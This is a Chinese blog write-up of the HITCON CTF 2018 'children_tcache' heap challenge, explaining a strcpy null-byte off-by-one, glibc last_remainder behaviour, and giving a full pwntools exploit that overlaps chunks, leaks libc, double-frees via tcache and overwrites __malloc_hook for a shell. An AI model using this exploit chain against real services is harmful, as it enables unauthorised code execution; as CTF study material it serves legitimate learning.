Hitcon2018 children_tcache writeup && overlapping

第一次参加HITCON CTF,之前在学堆利用的时候倒是做过几道往年的题,自我感觉还挺不错的,结果就爆零了23333。前几天就在网上看到了这题的writeup,一直拖到今天才拿来学习了一波,看完感觉自己是真的菜。。。

题目描述

题目来源:HITCON CTF 2018
知识点:tcache && overlapping && off_by_one

题目界面:

1
2
3
4
5
6
7
8
9
$$$$$$$$$$$$$$$$$$$$$$$$$$$
🍊 Children Tcache 🍊
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$ 1. New heap $
$ 2. Show heap $
$ 3. Delete heap $
$ 4. Exit $
$$$$$$$$$$$$$$$$$$$$$$$$$$$
Your choice:

保护全开:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

漏洞情况

new_heap函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  printf("Size:");
size = get_num();
if ( size > 0x2000 )
exit(-2);
dest = (char *)malloc(size);
if ( !dest )
exit(-1);
printf("Data:");
get_str((__int64)&s, size);
strcpy(dest, &s);
data_list[i] = dest;
size_list[i] = size;
return __readfsqword(0x28u) ^ v5;
}

因为strcpy函数在拷贝字符串时,最后的’\0’也会一起拷贝,所以当输入的字符串已经占满了所分配的内存,那最后的’\0’会往后溢出一个字节,导致了null byte off_by_one

看到null byte off_by_one,我首先就想到构造chunk overlapping,然而太菜。不够熟悉tcache以及overlap,所以到最后也没做出来

笔记

这题目其实不难,前面一部分都是标准的overlaping的流程,只是因为多了tcache,所以要不停的填充和清空tcache,来保证我们的chunk不受它的影响。真正利用tcache的地方只有最后的double free(tcache dup)。
为了省时间就不单独分析了,直接写在exp里,赶作业要紧。。。。。

补充 overlapping(2018-11-03)

今天在发现这题还有一个要点我没注意到!!!!overlapping新姿势!!!(对我来说足够新2333),所以回来补充一下

overlapping常规

先回顾一下常规overlapping

overlapping
可以看到,如果要通过null byte off_by_one构造overlapping,首先需要伪造chunk_C的prevsize(如上图第二步),否则在分配b1的时候会corrupted size vs. prev_size

新姿势

查看malloc源码可以发现,corrupted的原因在于从unsortedbin中取出chunk时会调用unlink,正是unlink中的检查导致了错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
else {
// 获取对应victim的大小
size = chunksize(victim);

/* We know the first chunk in this bin is big enough to use. */
assert((unsigned long) (size) >= (unsigned long) (nb));
// 计算分割后剩余的大小
remainder_size = size - nb;

/* unlink */
unlink(av, victim, bck, fwd);
...
}

而该题目在free时,会将整个chunk全部填充为0xda,所以没有办法伪造prevsize。所以该题利用过程中使用了采用了一种不需要伪造prevsize的技巧。

在执行malloc时,若fastbin和smallbin中没有合适的chunk,并且请求为small chunk的话,将会首先考虑使用last_remainder。如果last_remainder是unsorted bin中的唯一一块,并且last_remainder的大小分割够还可以作为一个 chunk,那么就会从last_remainder中分割下合适大小的块。

而从last_remainder分割chunk的话就不会使用到unlink,从而成功分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

所以只要能把chunk_B作为last_remainder一切就简单了。详见wp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
# -*- coding:utf-8 -*-
from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#context.log_level = 'debug'
elf = ELF('./children_tcache')
libc = ELF('./libc.so.6')

p = process('./children_tcache', env={'LD_PRELOAD':'./libc.so.6'})

def add(size, content):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Data:')
p.send(content)

def show(index):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))

def dele(index):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))

def add_7_times(size):
for _ in range(7):
add(size, 'xxxx')

def del_7_times(fr, to):
for i in range(fr, to):
dele(i)

#现在堆的前面把这些用于填充tcache的chunk分配好,以免破坏后面堆的布局
add_7_times(0x80) #0-6
del_7_times(0, 7)

add_7_times(0x100) #0-6,填充tcache 0x110
add(0x108, '7777') #7 chunk_A
add(0x100, '8888') #8 chunk_B
add(0x100, '9999') #9 chunk_C
del_7_times(0, 7)

dele(8) #释放chunk_B,tcache已满,放入unsortedbin
dele(7) #释放chunk_A,A和B会合并(重要)

add_7_times(0x100) #0-6
add(0x108, '7'*0x108) #7 从合并的chunk中又取回chunk_A,同时创建了last_remainder(重要)
#同时通过溢出(null byte off_by_one)修改了chunk_B的size(0x110-->0x100),
del_7_times(0, 7)

add_7_times(0x80)
add(0x80, '8888') #8 chunk_b1 从chunk_B(last_remainder)中分割下来,因为size被改,所以chunk_C的prevsize得不到维护
#此处如果不是从last_remainder中分割就会出错!!!!
del_7_times(0, 7)
add(0x60, 'aaaa') #0 chunk_b2 将chunk_B剩下部分都取出来,chunk_C的prvesize同样没有被维护

dele(8) #释放b1
dele(9) #overlap!!触发从chunk_b1到topchunk的合并,其中包含了未被释放的chunk_b2
#topchunk位于chunk_b1的位置。

add_7_times(0x80) #1-6 8
add(0x80, 'xxxx') #9,重新分配chunk_b1,现在topchunk和chunk_b2重合
del_7_times(1, 7) #回填tcache 0x90
dele(8) #回填tcache 0x90,剩0(chunk_b2) 7(chunk_A) 9(chunk_b1)

add(0x500, '1111') #1,该chunk和0重合
add(0x120, '2222') #2,防止被topchunk合并
dele(1)

show(0)#泄漏libc
libc_base = u64(p.recvline()[:-1].ljust(8, '\x00')) - 0x3ebca0
print "libc_base: %#x" % libc_base
malloc_hook = libc.symbols['__malloc_hook'] + libc_base
print "malloc_hook: %#x" % malloc_hook
one_gadget = libc_base + 0x10a38c
print "one_gadget: %#x" % one_gadget

add(0x120, '1111') #1 从0x500大小的chunk中分割出0x120。0和1都指向该chunk
dele(0) #放入tcache
dele(1) #再次放入tcache,double free

add(0x120, p64(malloc_hook)) #修改fd为malloc_hook
add(0x120, 'aaaa')
add(0x120, p64(one_gadget)) #修改malloc_hook为one_gadget

p.recvuntil('Your choice: ') #getshell
p.sendline('1')
p.recvuntil('Size:')
p.sendline('123')

p.interactive()

相关链接

题目链接:children_tcache
exp参考:HITCON2018-WP-By Nu1L

文章作者: Hpasserby
文章链接: https://hpasserby.me/post/cdad9cf7.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hpasserby
支付宝赞赏
微信赞赏